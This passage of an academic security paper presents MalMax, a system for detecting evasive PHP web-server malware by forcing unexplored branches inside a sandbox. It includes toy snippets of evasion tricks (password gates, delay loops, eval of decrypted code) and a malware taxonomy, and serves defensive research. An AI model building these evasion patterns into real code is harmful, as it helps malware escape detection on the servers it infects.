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ABSTRACT

This paper presentsMalMax, a novel system to detect server-
side malware that routinely employ sophisticated polymorphic eva-
sive runtime code generation techniques. When MalMax encoun-
ters an execution point that presents multiple possible execution
paths (e.g., via predicates and/or dynamic code), it explores these
paths through counterfactual execution of code sandboxed within
an isolated execution environment. Furthermore, a unique feature
of MalMax is its cooperative isolated execution model in which
unresolved artifacts (e.g., variables, functions, and classes) within
one execution context can be concretized using values from other
execution contexts. Such cooperation dramatically amplifies the
reach of counterfactual execution. As an example, for Wordpress,
cooperation results in 63% additional code coverage.

The combination of counterfactual execution and cooperative
isolated execution enablesMalMax to accurately and effectively
identify malicious behavior. Using a large (1 terabyte) real-world
dataset of PHP web applications collected from a commercial web
hosting company, we performed an extensive evaluation of Mal-
Max. We evaluated the effectiveness of MalMax by comparing its
ability to detect malware against VirusTotal, a malware detector
that aggregates many diverse scanners. Our evaluation results show
that MalMax is highly effective in exposing malicious behavior in
complicated polymorphic malware. MalMax was also able to iden-
tify 1,485 malware samples that are not detected by any existing
state-of-the-art tool, even after 7 months in the wild.

CCS CONCEPTS

• Security and privacy→Malware and its mitigation;Web
application security; Systems security.

KEYWORDS

PHP, Security, Malware, Multi-Aspect Execution, Counterfactual
Execution

Permission to make digital or hard copies of all or part of this work for personal or
classroom use is granted without fee provided that copies are not made or distributed
for profit or commercial advantage and that copies bear this notice and the full citation
on the first page. Copyrights for components of this work owned by others than ACM
must be honored. Abstracting with credit is permitted. To copy otherwise, or republish,
to post on servers or to redistribute to lists, requires prior specific permission and/or a
fee. Request permissions from permissions@acm.org.
CCS ’19, November 11–15, 2019, London, United Kingdom
© 2019 Association for Computing Machinery.
ACM ISBN 978-1-4503-6747-9/19/11. . . $15.00
https://doi.org/10.1145/3319535.3363199

ACM Reference Format:

Abbas Naderi-Afooshteh, Yonghwi Kwon, Anh Nguyen-Tuong, Ali Razmjoo-
Qalaei, Mohammad-Reza Zamiri-Gourabi, and JackW. Davidson. 2019.Mal-
Max: Multi-Aspect Execution for Automated Dynamic Web Server Malware
Analysis. In 2019 ACM SIGSAC Conference on Computer and Communications
Security (CCS’19), November 11–15, 2019, London, United Kingdom. ACM,
New York, NY, USA, 18 pages. https://doi.org/10.1145/3319535.3363199

1 INTRODUCTION

Web-based malware (both server-side and client-side) continue
to be one of the top security threats to users of the Internet. Server-
side malware, unlike client-side malware, can have much more
catastrophic consequences. For example, they can persist and com-
promise clients from all over the world for a long period of time.
Moreover, server-side malware can be leveraged to construct mali-
cious infrastructures (e.g., botnets).

Unfortunately, despite the importance of detecting and prevent-
ing server-side malware, existing techniques have difficulty han-
dling sophisticated server-side malware. Numerous reports describe
the prevalence of server-side malware:
• Sucuri, a firm specializing in managed security and system
protection, analyzed 34,371 infected websites and reported
that 71% contained PHP-based, hidden backdoors [66].
• Incapsula discovered that out of 500 infected websites de-
tected on their network, the majority of them contained PHP
malware [28].
• Verizon’s 2017 Data Breach Report reported that a sizable
number of web server compromises are a means to an end,
allowing attackers to set up for other targets [27].

This prevalence is, in part, because server-side malware typically
employs various advanced anti-analysis and anti-debugging tech-
niques such as obfuscation and metamorphism. Additionally, these
techniques are implemented using dynamic language features such
as dynamic code generation (e.g., eval), creating several challeng-
ing analysis problems including constructing a sound or complete
control flow graph (CFG), type inference, error handling, and alias
inference [25, 33]. Consequently, analysis of dynamic applications
is an area of active research [2, 3, 12, 19, 65, 76].

Several prior research efforts have focused on web-based mal-
ware [9, 11, 29, 40, 65], attempting to detect malware by analyzing
network traffic generated by malware (e.g., HTTP responses). How-
ever, evasive malware avoid detection by omitting signals of mali-
cious behavior. For example, they only trigger malicious behaviors
randomly or for a subset of clients. There has also been a surge of
machine learning (ML) approaches for extracting signatures and
classifiers to detect malware. However, the highly dynamic and
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metamorphic (e.g., use of encryption, obfuscation and restructur-
ing techniques) nature of web server malware makes it difficult to
obtain large-scale datasets to train sufficiently accurate models [12].

In this paper, we present MalMax, a novel system for the ac-
curate detection of highly sophisticated PHP-based server-side
malware. We choose PHP malware as it is the most prevalent form
of web server malware and more than 79% of all web servers use
PHP [71].MalMax enables accurate analysis of dynamic code such
as those commonly used by web applications. MalMax systemati-
cally exposes multiple aspects of a target program, including hidden
malicious behaviors, using a combination of counterfactual execu-
tion and cooperative isolated execution. Counterfactual execution
is a technique that forces execution into branches even if branch
conditions are not satisfied (Section 3.1) and cooperative isolated ex-
ecution shares global scope artifacts (e.g., global variables) between
isolated execution paths to facilitate code discovery (Section 3.2).

MalMax outperforms state-of-the-art malware detection tech-
niques. The main contributions of this research are as follows:
• Development of MalMax, an analysis infrastructure that
uses a combination of counterfactual execution and cooper-
ative sandboxing to deeply explore dynamic behavior.
• A practical tool, PhpMalScan, for detecting server-side mal-
ware that leveragesMalMax’s exploration capabilities.
• An open-source malware benchmark suite designed to eval-
uate false positive and negative rates that includes 53 diverse
real-world PHP malware samples as well as 10 synthetic
benign and malicious samples.
• An evaluation using both the benchmark suite and 1 TB of
real-world website deployments that showsMalMax outper-
forming VirusTotal (VT) in terms of both false positives and
false negatives. MalMax identifies 1,485 malware samples
that go undetected by VT even after 7 months in the wild.

Scope. The following list contrasts different aspects of our work
with other research in the area to draw a clear scope.

1) Web Server-side Malware vs. Client-side Malware: This research
focuses on identifying malicious behaviors of web server malware.
Unlike client-side malware where no source code is available on
victim machines, source code of web server malware is typically
available for analysis. Hence, our technique analyzes source code.

2) Scripting vs. Binary: This research focuses on dynamic script-
ing languages such as PHP. Scripting code is typically much more
dynamic compared to binaries and commonly modifies itself to
generate new code on demand at runtime.

3) Detecting on Server-side vs. Detecting on Client-side: MalMax
intends to detect malware on the server while having access to the
server-side. This goal is in contrast with the majority of previous
work which attempts to find malware from its client-side output
(i.e., HTML and JavaScript). As many malware do not disclose their
malicious behavior in the client observable output unless specific
criteria are met, such detection is not as effective.

4) General Analysis Infrastructure: MalMax aims to provide
a general malware analysis infrastructure that can disclose mali-
cious behaviors of dynamic and evasive web server malware au-
tomatically. In this paper, we also present a fully automated proof
of concept malware detection tool, PhpMalScan, to demonstrate
MalMax’s effectiveness in practice. However, limitations of Php-
MalScan do not necessarily indicateMalMax is limited.

2 BACKGROUND: WEB SERVER MALWARE

PHP malware is the most prevalent web server malware and it is
typically used to infect a web server. As most server-side scripting
languages are executed on demand when a client accesses certain
web pages, PHP malware on a web server cannot run on its own
or at a predetermined time and condition. It requires intervention,
either via a victim user browsing the infected website to trigger
execution, or via the malware controller (called attacker henceforth)
manually triggering the malware.

We observe that, unlike client-side malware, web server malware
sometimes leverage an attacker provided value in order to hide
its malicious logic. For instance, malware may check the attacker
provided input and not exhibit any malicious behavior unless the
input satisfies certain criteria. As PHP is a highly dynamic language,
it is challenging to analyze and detect such evasivemalware without
knowing the triggering criteria (e.g., malware requiring a hard-
coded password to reveal itself). Moreover, web server malware,
particularly PHP malware, is usually injected into benign PHP
program files. As it is difficult to distinguish injected malicious code
from the benign application, analysis techniques that target these
malware must be able to handle complex benign programs. The
focus of this research is discovering and detecting such malware.

Web server malware is either dropped by an attacker manually
or injected into the website by an automated attacker (i.e., a script)
post exploitation. Web applications may have vulnerabilities that,
when exploited, enable an attacker to gain access to the server and
establish a foothold by uploading the malware. The malware can be
a standalone file in an area that does not raise suspicion (such as the
temporary folder, cache folder, uploads folder or library folder), or it
can be incorporated into one of the key files of the web application
available on the server. The latter makes it harder to detect the
malware as the web application must be initiated and executed, and
the execution must reach the malware code thereby activating it.
Malware Categorization.We divide web-server malware into a
few categories based on their behaviors and ultimate purpose.

1) Webshell: Webshell is the most common type of web-server
malware. It provides ssh-like access to the web server via a web
interface. A webshell can be as simple as piping to bash, or may
include user interfaces which list files and system configurations.

2) Backdoor/Backconnect: Backdoors and backconnects enable
an attacker to execute an arbitrary system or PHP functionality on
the victim machine via HTTP or a network socket.

3) Flooder: Flooders send bursts of network packets to specified
machines when directed by the attacker. They are used to carry out
Denial of Service (DoS) or Distributed DoS attacks.

4) Spammer: Spammers infect servers trusted by other email
servers (e.g., new servers using fresh IPs) to send spoof/spam emails.

5) Bruteforcer: They use brute force approaches (e.g., trying
different passwords) to gain access to services on the Internet or
the local network. Once a credential is successfully guessed, the
attacker would use that foothold to carry out further attacks.

6) Bypasser: Bypassers attempt to bypass local or remote security
precautions. Examples would be bypassing chroot via symlinks,
bypassing PHP/Apache security modules, firewalls, and IDSs.

7) Defacer/Uploader: Defacers and uploaders are used to upload
attacker content to the web server. Attackers use them to leave an
obvious trace to claim credit for the hack.



3 DESIGN

As shown in prior research, purely static analysis of dynamic
code, particularly that of an obfuscated malware, is particularly
challenging [12, 25]. To analyze dynamic web server malware, we
propose a novel dynamic analysis approach called Multi-Aspect
Execution (MaX) that can reveal masked malicious behaviors of
highly evasive web server malware (Section 3.1). Intuitively, it at-
tempts to explore multiple aspects of malware by exercising multi-
ple execution paths in cooperative isolated execution environments
(Section 3.2). Each execution is isolated so that it does not affect
analyses of other executions, while the global scope artifacts (e.g.,
database connections stored in global variables) are shared between
isolated executions to facilitate the analysis.

3.1 Multi-Aspect Execution (MaX)

MalMax systematically explores multiple aspects of a target
program in order to expose potential malicious execution paths.
Specifically,MalMax employs counterfactual execution, a multi-
path exploration approach coupled with cooperative state isolation
that shares important artifacts among isolated executions to facili-
tate discovery of more code for malicious behavior discovery.
Counterfactual Execution. MalMax enables discovering parts
of code that would not be accessible in a vanilla dynamic analy-
sis [60] via a concept called counterfactual execution which forces
execution into branches even if the branch conditions are not satis-
fied, past exit nodes, and into pieces of code that are not normally
executed. Such counterfactual execution relies on state isolation to
track changes made to the execution state when exploring counter-
factual paths, and supports fine-grained control over state changes
(e.g., reversing and backporting). This feature enables our approach
to unwrap, decode, and expose the original code of obfuscated and
encoded files while maintaining a valid state throughout execution,
minimizing false positives and negatives.

Counterfactual execution handles dynamic constructs such as
eval(), include(), and dynamic function calls, each of which
might lead to discovery of new code snippets and generation of
new paths along the program execution. It analyzes dynamically
generated code recursively until it is not able to discover any new
unique code (i.e., a fixed point is reached).

Figure 1: Evasive Malware Example.

if (!isset($_GET[1]))
die(“Nothing to see here.”);
if ($_GET[1]==$password) {
for ($i=0; $i<1000; ++$i)
if ($i>200 and $i%11==0)
do_malicious();
else
do_benign();

}
copy_the_malware();
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We use an example malware program to show how counterfac-
tual execution systematically explores multiple execution paths. In
Fig. 1-(a), line 1 checks if an input is provided to the script. When
no input is available, line 2 exits the script with a message (die()
is the exit expression in PHP). Line 3 checks to make sure that the
provided input is the expected password. If not, it simply copies

the malware on line 10 and terminates. If the correct password is
provided, there is a loop to prevent recognition of the maliciousness
of the script. After 200 iterations, and only when the loop counter is
a multiple of 11, the script performs its malicious activity (e.g., send
spam email). A naive dynamic analysis will be unable to expose the
malicious behavior as it will be unable to drive execution past lines
2 and 3, resulting in missing the entire malicious logic.

Counterfactual execution handles this issue by creating a new
isolated execution on a predicate or on terminal events (i.e., exit
expressions). Fig. 1-(b) shows traces (i.e., executed source code
line numbers) from a naive dynamic analysis and the proposed
counterfactual execution. Dynamic analysis only covers 2 lines due
to the missing input at line 1.

Counterfactual execution creates a new isolated state on line
2 (a terminal event) and continues past the termination. On line
3, it enters the branch even if the condition is not satisfied, while
creating another (nested) state isolation. Then, the loop on line 4 is
executed. Within the loop there is also a predicate on line 5 where
we create a new isolated state on line 5, exploring the malicious
execution path on line 6. While we successfully force the execution
paths including the malicious function, we observe that at least one
real-world sample does not properly expose malicious behavior.
We analyzed this case manually and found that it is because the
malicious code is dependent on variables evaluated on other paths
(e.g., Line 8 in our case). For instance, we observe that it increments
a variable within do_benign() and the variable is used to decode
malicious code in do_malicious(). Hence, the execution fails if
we do not execute the other path in the for-loop on line 4. To detect
such cases where there are dependencies between the new isolated
executions and other executions, we track data dependencies across
executions. Specifically, if a variable used in an isolated execution is
referenced by other executions later, we consider there are depen-
dencies between the executions. For the cases with dependencies,
a straightforward approach to handle them is to actually execute
the loop without any intervention.
Key Points: Counterfactual execution forces execution into
branches even if the branch conditions are not satisfied, past
exit nodes, and into pieces of code that are not normally executed,
enabling discovery of dynamically generated code recursively
until we comprehensively cover them. To this end,MalMax effec-
tively exposes hidden malicious code in sophisticated malware.

Control Flow Trimming. PHP malware often include intention-
ally long-running loops to delay execution of malicious behaviors.
As many dynamic analysis based malware detectors terminate their
analyses after certain timeouts (e.g., 30 seconds), those malware
may not be detected. A naive approach to handle such malware is
to limit the number of loop iterations. However, if the execution of
PHP malware is dependent on the number of loop iterations and
a particular path within the loop, the execution may not exhibit
malicious behaviors when we limit the number of loop iterations.
For example, if a cryptographic key for deobfuscation is computed
in a particular path within a loop, the loop should be iterated suffi-
ciently, and the particular path should be covered. To handle such
issues, we propose Control Flow Trimming.

Specifically, when the execution of malware fails to reveal mali-
cious behaviors due to missing computations in a loop,MalMax



first executes the loop until the loop count reaches a predefined
threshold (100 in this paper) while measuring howmany times each
execution path takes. When we observe a particular path is more
frequently executed than other paths, preventing exploration of
other execution paths, we create a new isolated execution state and
force the new execution to explore the other paths. If the new execu-
tion can discover any new executed statements or execution states
(compared to those in the original execution path), we conclude
that the analysis of the loop is successful.

Figure 2: Control Flow Trimming Example on Fig. 1
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Fig. 2-(a) shows the control flow graph of the partial code in
Fig. 1-(a) (Lines 3-10). The label of each node represents its line
number. Edges represent control flows. Note that line 6 with red
color is the call to malicious code. Fig. 2-(b) shows a weighted
control flow graph (CFG) after 100 iterations of the lines 4-8. Note
that edges between the nodes 3, 4, 5, and 8 are thick indicating that
the path is executed frequently. Specifically, we increase a count
for each edge between nodes every time it executes. For instance,
after the 100 iterations, each thick edge (e.g., the edge between 3
and 4) will have 100 for the counter value. When a counter value
reaches a predetermined threshold (100 in this paper), we apply the
control flow trimming method. In particular, for each node that has
an edge with a counter value that reached the threshold, we check
whether there is an alternative path (i.e., edge). If there is one and
the alternative path’s counter value is less than the threshold, we
execute the alternative path. Essentially, we trim the control flow
that reached the threshold, executing unexplored paths.
– Runtime Threshold Adjustment:We observe that there are malware
samples that require a larger threshold to successfully execute ma-
licious behaviors. To handle such cases, MalMax incrementally
increases the threshold by a factor of 2. Fig. 3-(a) shows an example.
The program has a loop (Lines 1-5) and within the loop, it first
executes do_benign() which takes more than 10 seconds (to delib-
erately hinder dynamic analysis) and then updates the decryption
key (Line 4). Then, the key is used to decrypt the malicious code
and execute via eval() (Line 6).
Figure 3: Adjusting Threshold in Control-Flow Trimming

for ($i=0;	$i<1000;	++$i)	{
do_benign();
if ($i<198)	
$key	+=	$table[$i];

}
eval(	openssl_decrypt($code,	

‘AES-256-CBC’,	$key)	);
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Fig. 3-(b) presents a trace from a naive dynamic analysis. It
iterates the loop 1,000 times, executing the time-consuming code

do_benign() (Line 2) 1,000 times as well. A naive dynamic analysis
will take around 2 hours 46 minutes to reach the malicious code.

Fig. 3-(c) shows a trace from the counterfactual execution. It
quickly reaches the malicious code (Line 6). However, as it skipped
the loop iterations, the decryption key ($key) is not correct, result-
ing in the failed execution at eval() (We consider invalid code
passed to eval() as a failure).

Fig. 3-(d) represents the first attempt of control-flow trimming
with the threshold 100. It iterates the loop 100 times and then tries
to execute the malicious code. However, due to the insufficient
decryption key update, the execution fails.

MalMax then increases the threshold by a factor of 2. Fig. 3-(e)
is a trace from the second attempt with the updated threshold 200.
After the 200 iterations, it executes the malicious code successfully.
Note that the key is only updated during the first 200 iterations.

Our evaluations show that the strongmajority ofmalware expose
their malicious behavior with the default threshold of 100. A handful
of samples triggers the runtime threshold adjustment algorithm,
increasing the trimming threshold up to 800. We manually verified
whether the runtime adjustment is sufficient or not by observing the
analysis results with different default thresholds. Specifically, we
run the experiments with 7 different thresholds: 100, 200, 400, 800,
1,600, 3,200, and unlimited. The experiments show that the threshold
above 800 does not discover any new dynamic code, indicating the
runtime threshold adjustment is effective in discovering dynamic code
without any manual intervention.
Key Points: Control flow trimming (CFT) ensures that analysis
finished in a reasonable time, by first limiting loops to a threshold
of 100 iterations and then increasing the threshold by a factor
of 2 until the execution does not observe any failed statements
(e.g., eval() with a string that contains invalid code). With this
dynamic adjustment of the threshold, MalMax can effectively
and efficiently discover malicious code.

3.2 Cooperative Isolated Execution

MalMax provides a cooperatively isolated execution environment
to (1) isolate each execution path of the program and (2) coopera-
tively share resources resolved in each isolated execution in order
to help discover dynamically loaded code snippets (e.g., through
include). The isolated executions are nested, and for each dynam-
ically generated part of the program, new isolation is created. Each
execution is isolated so that state changes/errors in one execution
would not inadvertently affect the other executions. However, they
are also cooperative to help discover more execution contexts (e.g.,
database connections, configuration variables, function/class defi-
nitions, etc.) which can lead to exposing malicious behavior (e.g.,
malicious code resides in an external module loaded dynamically).
This cooperation enables us to discovermore of the application code.
Specifically, without the cooperative isolation scheme, MalMax
covers 36,034 statements of Wordpress whereas MalMax covers
58,786 with the cooperative isolation (Details in Appendix B).
Cooperative Isolations. As each isolation explores a single exe-
cution path, there are artifacts (e.g., variables, resources, constants,
etc.) that are unresolved in one particular isolation while they are
resolved in other isolations. If such artifacts are used in the cre-
ation of dynamic behavior (e.g., used in include or eval), the



analysis will not be able to resolve them and its results might be
limited. Cooperative isolated execution’s role is to share artifacts
discovered in one isolation with other isolations to provide a reso-
lution for such unresolved artifacts such as dynamically included
files, environment variables, database connections, etc.
– Global Scope Artifacts: Artifacts belonging to the global scope are
shared, such as function definitions, class definitions, constants,
global variables, environment variables, etc. Note that dynamic
languages such as PHP allow redefinition of functions and classes.

The insight for such sharing is that PHP applications commonly
leverage global scope artifacts to implement dynamically loaded
plugin modules. For example, Joomla uses configuration files to
decide which subset of its core modules to load, andWordpress uses
database values to determine which plugins are active in an instal-
lation, and thus need to be loaded and executed. These global scope
artifacts can further be modified throughout program execution,
resulting in additional modules being loaded and executed. Specifi-
cally, a loaded Wordpress plugin can then use its own configuration
parameters, and load another plugin, or redefine a core function/-
class (Details in Appendix B.1). Note that cooperative isolations do
not share local scope artifacts such as local variables. Intuitively,
local artifacts are not meant to be shared between functions and
modules while global artifacts are often meant to be shared.

Figure 4: Cooperative Isolated Execution
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Fig. 4 shows howMalMax works on a program that establishes a
database connection, then populates a global configuration variable
($config) from the database. Using the populated configuration
variable, the program then loads a plugin which contains function/-
class definitions that include malicious code.

In Fig. 4, there are three isolated executions. Isolated Execution
1 resolves a database connection while Isolated Executions 2 and 3
fail to do so because they take different execution paths, depicted
as different curves in Fig. 4. However, Isolated Executions 2 and 3
cover code that populates the configuration and loads plugins re-
spectively. Without the database connection, even though Isolation
Executions 2 and 3 cover critical parts of the program that might
expose malicious code, they would not be able to load the malicious
plugin due to the unresolved database connection.

WithMalMax, Isolated Execution 2 can retrieve the database
connection resolved by Isolated Execution 1. Furthermore, Isolated
Execution 3 is able to load the malicious plugin leveraging the
populated global variable $config from Isolated Execution 2.
Sandboxing. MalMax allows malware to access system resources
(e.g., files or database) while preventing persistent modifications to
the external system state. As a result, malware will be executed as if

it runs on the system natively without harming the underlying host
system. MalMax achieves this protection via virtualizing access
to external resources such as files, networks, databases, etc. and
redirecting them to emulated resources, while using containers (i.e.,
Docker) to ensure it cannot damage the host.

To implement sandboxing, we override PHP functions that can
alter the system objects (e.g., files and database) to redirect the
accesses to the objects to virtualized system objects. We allow
malware to modify the virtualized objects as they do not harm the
host system and provide more insights into the intent of malware.

In our prototype, 31 functions and classes are explicitly virtu-
alized. For example, fopen() will be proxied (i.e., forwarded to
the original function) if it is in read mode. If it is in write mode,
the file will be duplicated and the file accesses will be redirected
to the duplicated file (i.e., the access is sandboxed). Similarly, the
function unlink() would not remove the actual file in the host.
The file will be duplicated once and unlinked, successfully simulat-
ing unlink(). If there is another attempt to call unlink() on the
same file, asMalMax remembers the file is already duplicated, it
will not duplicate the file again and the unlink() will fail.
Key Points: Cooperative isolated execution allowsMalMax to ana-
lyze behaviors of malware within a cooperative sandbox, sharing
artifacts obtained from each isolated execution with other isola-
tions, facilitating path discovery process. With the help of coop-
erative isolated execution, we discover paths containing 22,752
additional (38% of the total code) statements in Wordpress.

3.3 Proof of Concept (PoC) Automated

Malware Detector: PhpMalScan

In this section, we present our proof of concept malware detec-
tion tool, PhpMalScan, to compare the effectiveness of malware
analysis primitives provided byMalMax with existing state-of-the-
art malware detection tools. PHP was chosen as the target language
for the prototype as it is used by 79% of all websites, and is also
responsible for 71% of all server-side malware [66, 71].

It is important to note that the purpose of this tool is to demon-
strate the effectiveness and practicality of concepts discussed in
this section, rather than proposing a malware detector as a core
contribution of the paper. PhpMalScan is built on top of MalMax,
leveraging advanced malware analysis capabilities such as coop-
erative isolated execution and counterfactual execution. However,
PhpMalScan differs from MalMax as it needs to make a decision
on whether a given program is malicious or not. PhpMalScan
employs several straightforward heuristics for this decision.
Measuring Maliciousness. PhpMalScan categorizes PHP func-
tions into two different types: Potentially Malicious Functions (PMF)
and Safe Functions (SF). Functions that can change system states
(e.g., system(), fwrite(), and unlink()) are classified as PMF.
Functions that do not affect system state such as program state
introspection functions, data (e.g., string) manipulation functions
(e.g., regular expression operations and type casts), and arithmetic
functions are categorized as SF.

We define two metrics for determining whether code is mali-
cious or benign: PMFR (Potentially Malicious Functions Ratio) and
MS (Maliciousness Score). PMFR is the number of potentially mali-
cious functions invoked in the code, divided by the total number of



invoked functions. The threshold for this metric should be low but
cannot be close to 0 as benign applications can also call system state
changing functions (i.e., PMF). MS (Maliciousness Score) is a value
computed based on the amount and intensity of potentially ma-
licious activity. Each function has a maliciousness score between
0 and 2, depending on its parameters and behavior, inspired by
that function’s prevalence among popular malware. For example,
file_get_contents() can fetch a URL, a file, or standard input,
corresponding to the scores of 2, 0 (if the file is within program
directory, otherwise 2) and 1.

Another important aspect of web-server malware is that they
rely on dynamic constructs to decode and execute malicious code,
sometimes nesting several layers of encoding and dynamic evalua-
tion to evade detectors. MS takes such nested execution layers into
account. Each function’s MS is multiplied by the dynamic evalua-
tion nesting depth times 10. Specifically, every time the code uses
eval()-like constructs, the dynamic evaluation nesting depth is
increased by 1. For example, a single use of the function system()
in a normal piece of code will yield a maliciousness score of 1 while
using it inside an eval will yield a malicious score of 10.

Intuitively, a higher PMFR suggests that the program contains
significant malicious behavior compared to benign behavior, sug-
gesting that the program is likely malicious. MS, on the other hand,
is useful in detecting surgical malware, i.e., malware that either
injects itself into a benign code, or malware that does a significant
amount of benign work (e.g., system inspection) before performing
a surgical attack (e.g., a single shell command). Note that Php-
MalScan metrics are defined in a simple, straightforward way, as
the point of this prototype is simply to show the effectiveness of the
analysis techniques in exposing malicious behavior, which can be
detected with more fine-grained metrics as part of future research.
– Defining MS and PMFR Thresholds: PhpMalScan detects a sample
as malware if either MS or PMFR reaches predefined thresholds: 5%
and 20 for PMFR and MS respectively.

The thresholds are obtained by analyzing MS and PMFR from a
set of benign and malware samples. Specifically, we selected 509
malware samples from known malware repositories [6, 44] and
benign samples from benign web applications [39, 46]. The two
repositories for malware are independent collections of malicious
PHP scripts found in the wild, 619 total (April 2016 ∼ April 2019)
retaining 509 samples reported as malicious by VirusTotal.

Figure 5: MS and PMFR Scores of Malware and Benign Sam-

ples (Red: Malware, Blue: Benign).

Then we iteratively select incrementally larger random subsam-
ples, obtaining PMFR andMS values until reaching a fixpoint, where

increasing the random subsample size does not change the thresh-
old anymore. The fixpoint is reached at 400 samples, as depicted
in Fig. 5. X-axis and Y-axis represent MS and PMFR of the samples
respectively. Note that the distribution of each of MS and PMFR are
diverse. Some of the malware have a large MS footprint because
they do significant malicious work, while having low PMFR due to
being injected in the middle of benign programs. Fig. 5 also depicts
how some other malware, contrary to the previous group, have
high PMFR and low MS, as they are relatively small files that do a
focused malicious activity (e.g., copy files) and do not include any
other code, thus their MS remains low.

Observe that most benign samples have both 0 MS and PMFR.
There are two benign samples that have 10 MS values while their
PMFR are 0. Fig. 5 also includes an enlarged graph near the 0 MS
and PMFR to more clearly depict the threshold. Observe that all
malicious samples have either larger than 20 MS value or 5% PMFR.

We also performed a sensitivity analysis on dynamic evaluation
nesting depth coefficient (i.e., 10), and noticed that reducing it to 1
will result in up to 3% false negatives in our datasets, while setting
it at 9 will result in 1.5% false negatives in our evaluations. Setting
the coefficient to 10 and above resulted in no false negatives. False
positives however, were consistently zero in the sensitivity analysis,
most likely because our dataset does not include any obfuscated
code blocks that utilize malicious functions (Details in Appendix C).
Key Points: To evaluate the effectiveness of malware analysis
primitives provided byMalMax in comparison with state-of-the-
art malware detection tools, we built PhpMalScan, a prototype
PHP malware detector based on MalMax. PhpMalScan uses
two metrics, Maliciousness Score (MS) and Potentially Malicious
Function Ratio (PMFR), and we systematically determined the
thresholds of 20 (for MS) and 5% (for PMFR) by iteratively an-
alyzing increasingly larger subsamples of ground truth dataset
until reaching a fixpoint. The thresholds are reconfigurable and
MalMax’s capabilities do not depend on the thresholds.

4 EVALUATION

We evaluated the performance and effectiveness of MalMax
using a large set of real-world website deployments which include
real-world malware samples in the wild (Section 4.2), various mal-
ware samples (Section 4.3), and a set of representative benign PHP
applications (Section 4.4). In addition, we present the performance
of MalMax and PhpMalScan (Section 4.5) and two additional
real-world malware in the wild to demonstrate howMalMax can
effectively analyze them (Section 4.6).

4.1 Experimental Setup

Real-world Website Deployments (Dataset A). To understand
MalMax’s impact in practice, we ran PhpMalScan on a large
dataset of 1 TB of files (consisting of 87 real world websites de-
ployed in the wild). The dataset is provided by a commercial web
hosting company that maintains nightly backups of over 400,000
websites. For each backup, Linux Malware Detector [57] is used
to scan every file in the backup. If any file in a website is flagged
as malware, the entire website (i.e., all files of that website) are
included in the dataset. If no file in the website is flagged as mal-
ware, the website’s files are not included in the dataset. Because



Linux Malware Detector has both false positives and false nega-
tives, flagged files may not be malicious and unflagged files may
be malicious. Consequently, the dataset includes both potentially
benign and malicious files, at least one of which was flagged as
malware by Linux Malware Detector. Section 4.2 provides more
details regarding the diversity of the dataset.
Real-world and Synthesized Malware Samples (Dataset B).

Aswe do not have ground-truth for Dataset A because theywere col-
lected in the wild, we prepared another dataset with ground-truth
to understand the accuracy of MalMax. We collected a benchmark
of 53 real and common PHPmalware samples frommultiple sources,
including underground networks, official websites, Github collec-
tions and malware encountered throughout the course of authors’
research. Note that the selection of relatively popular malware will
skew evaluation results in favor of signature-based tools. This bias
is further demonstrated with respect to the less popular samples
in the benchmark, as well as evaluations on real-world websites
deployed in the wild (Section 4.2). We also developed 5 benign and
5 malicious PHP programs in an adversarial manner. A collabo-
rator who was unaware of the detection technique developed the
code. The benign scripts were deliberately created to fool detection
methods into causing false positives. They employ encoding and
obfuscation to do benign operations. The malicious scripts were
not deceitful, spanning simple malicious scripts to obfuscated ones.
Table 1 provides an overview of our benchmark suite. The malware
range from one-liners to malware larger than 500KB.

Category Real Life Synthetic Total

Webshell 39 3 42
Backdoor 7 1 8
Flooder 6 0 6
Spammer 7 1 8
Bruteforcer 9 1 10
Bypasser 3 0 3
Defacer 2 0 2

Total (Unique) 73 (53) 6 (5) 79 (58)

Table 1: Malware benchmark categorization. Some malware

fall into multiple categories.

Real-world Benign PHPApplications (Dataset C).We selected
four diverse yet popular and representative PHP web applications
to evaluateMalMax’s false positive and negative rates: Wordpress,
Joomla, phpMyAdmin, and CakePHP. Wordpress, a content man-
agement system, is the most popular web application in existence
that powers more than half the World Wide Web [10]. Joomla is
the second most popular web application that powers more than
10 million websites [43] and is one of the largest and most com-
plex PHP applications (500K lines of code, 55 dynamic scripting
features). phpMyAdmin is a MySQL database management web
application in PHP [46]. It exhibits various security-sensitive behav-
iors such as changing database server and system configurations
via system-level functions. CakePHP is a popular PHP web applica-
tion development framework [39] that involves various third-party
tools and scripts that make the analysis of the program challenging.
Malware Detection Tools for Comparison. We collected five
widely used malware detection tools, including open and propri-
etary tools, to act as the baseline for comparison. First, Linux Mal-
ware Detector [57] (or maldet) uses MD5 and hexadecimal signa-
tures for malware detection. Second, backdoorMan is an open-
source Python toolkit for detecting malicious PHP scripts [21]

which can decode obfuscated PHP code and recognize malicious
behavior. Third, PHP Malware Finder [48] (referred to as phpmaldet
in our dataset) that focuses on deobfuscation and then recogniz-
ing malware via Yara [70]. Fourth, ClamAV is an open-source an-
tivirus [20]. Fifth, we also use VirusTotal [1], an online aggregate
service that scans files with more than 50 antivirus systems.

There are also online PHP malware detection and deobfuscation
services, such as unPHP [69] and shellray [49]. However, we did not
include them in our comparison because we observed inconsistent
(i.e., non-deterministic) results during testing the benchmark with
them, and they often caused many false positives.

4.2 Scanning Real-world Websites (Dataset A)

We used a large corpus of 87 real-world infected websites con-
sisting of 3,225,403 files (approximately 1 TB) to demonstrate the
effectiveness of MalMax. The dataset includes various malware
in the wild which show how MalMax can perform against real-
istic advanced malware. The websites were collected for analysis
because at least one of the files in each website is marked as mali-
cious by Linux Malware Detector (maldet). Details on file extension
distribution in the dataset can be found in Appendix A.1.

Figure 6: Malware flagged by PhpMalScan and maldet.

95 3748

maldet detects PHPMALSCAN detects

143

20533

VT	detects

2406 1485

VT	detectsA B

3,986 708,381	(99.44%)

Flagged

2

3

4

84.06	%15.9	
% 97.87	% 2.13

%5

Malware

Sampled	Inspection	Result	with	95%	Confidence	(10%	Margin	of	Error).

Total	
Scanned

Scan	
Results

VT	
Scan

712,367 2,513,036	(77.9%)

Data	Files	(e.g.,	images,	icons,	text	files)
Program	

Relevant	Files

Not	Flagged

1 Total	
Data-set

We preprocessed all the files to identify program relevant files
by inspecting the files that contain any PHP source code. We find
712,367 files that contain PHP code (as shown in Fig. 6- 1 ). Inter-
estingly, we discover 35,555 files among them disguised as non-PHP
files (e.g., icons, images, text files). Note that PHP can include any
file and attempt to execute it as code, thus hiding malicious PHP
code in non-PHP files is a common tactic used by attackers. To
confirm the accuracy of the discovered disguised PHP files, we
ranMalMax to obtain complete control flow and behaviors. The
result shows that they are all valid PHP files disguised as other data
files. We ran MalMax and maldet on all the program relevant files
